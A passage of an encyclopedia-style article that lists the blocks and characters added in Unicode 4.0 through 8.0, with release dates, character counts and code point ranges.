* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F, U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+09BD)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A01, U+0A03)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''.
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''.
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''.
* Some symbols and signs (total 11 characters) were added to '''Khmer'''.
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''.
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''.
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''.
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''.
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''.
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''.
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''.
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''.
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''.
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''.
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''', containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''', containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''', containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''', containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''', containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''', containing 4 additional diacritics, was added.
* '''Glagolitic''', containing 94 characters for the Glagolitic script, was added.
* '''Coptic''', containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''', containing 38 Nuskhuri letters, was added.
* '''Tifinagh''', containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''', containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''', containing 26 additional punctuation marks, was added.
* '''CJK Strokes''', containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''', containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''', containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''', containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''', containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''', containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''', containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''', containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''.
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''.
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''.
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''.
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''.
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''.
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''.
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''.
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''.
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''.
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''.
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''.
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''.
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''.
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''.
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''.
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''.
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''.
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''.
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''.
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''.
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''.
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''', containing 59 characters for the N'Ko script, was added.
* '''Balinese''', containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''', containing 17 letters for various languages, was added.
* '''Latin Extended-D''', containing 2 characters for UPA, was added.
* '''Phags-pa''', containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''', containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''', containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''', containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''', containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''.
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''.
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''.
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''.
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''.
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''.
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''.
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''.
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''.
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''.
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''.
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''.
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''.
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''', containing 55 letters for Sundanese script, was added.
* '''Lepcha''', containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''', containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''', containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''', containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''', containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''', containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''', containing 48 letters for Kayah languages, was added.
*  '''Rejang''', containing 37 letters for Rejang script, was added.
* '''Cham''', containing 83 letters for Cham script, was added.
* '''Ancient Symbols''', containing 12 characters for weights and measures and other Ancient symbols, was added.
* '''Phaistos Disc''', containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''', containing 29 letters for Lycian script, was added.
* '''Carian''', containing 49 letters for Carian script, was added.
* '''Lydian''', containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''', containing 44 mahjong tiles, was added.
* '''Domino Tiles''', containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''.
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''.
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''.
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''.
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''.
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''.
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''.
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''.
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''.
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''.
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''.
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''.
* Characters for various languages (total 78 characters) were added to '''Myanmar'''.
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''.
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''.
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''.
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''.
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''.
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''.
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Additional latin letters (total 12 characters) were added to '''Latin Extended-C'''.
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''.
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''.
* Other strokes (total 20 characters) were added to '''CJK Strokes'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''.
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''.
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''.
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''.

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
